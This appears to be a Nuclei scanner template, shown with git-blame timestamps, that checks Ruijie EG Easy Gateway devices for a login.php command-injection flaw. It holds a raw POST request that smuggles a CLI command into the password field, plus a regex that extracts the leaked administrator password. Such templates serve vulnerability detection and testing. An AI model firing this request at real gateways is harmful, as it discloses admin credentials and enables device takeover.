2021-08-06 17:12:41 +00:00
id : ruijie-eg-password-leak
info :
name : Ruijie EG Easy Gateway Password Leak
2021-08-06 17:34:32 +00:00
author : pikpikcu,pdteam
2021-08-06 17:12:41 +00:00
severity : high
description : Ruijie EG Easy Gateway login.php has CLI command injection, which leads to the disclosure of administrator account and password vulnerability
2021-08-19 14:00:46 +00:00
reference :
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
- https://www.ruijienetworks.com
2021-08-06 17:12:41 +00:00
tags : ruijie,exposure
requests :
- raw :
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2021-08-06 17:37:27 +00:00
2021-08-06 17:12:41 +00:00
username=admin&password=admin?show+webmaster+user
matchers-condition : and
matchers :
- type : word
words :
- '"data":'
- '"status":1'
- 'admin'
condition : and
part : body
- type : word
words :
- 'text/json'
part : header
- type : status
status :
- 200
2021-08-06 17:34:32 +00:00
extractors :
- type : regex
group : 1
regex :
- 'admin ([a-zA-Z0-9#@]+)",'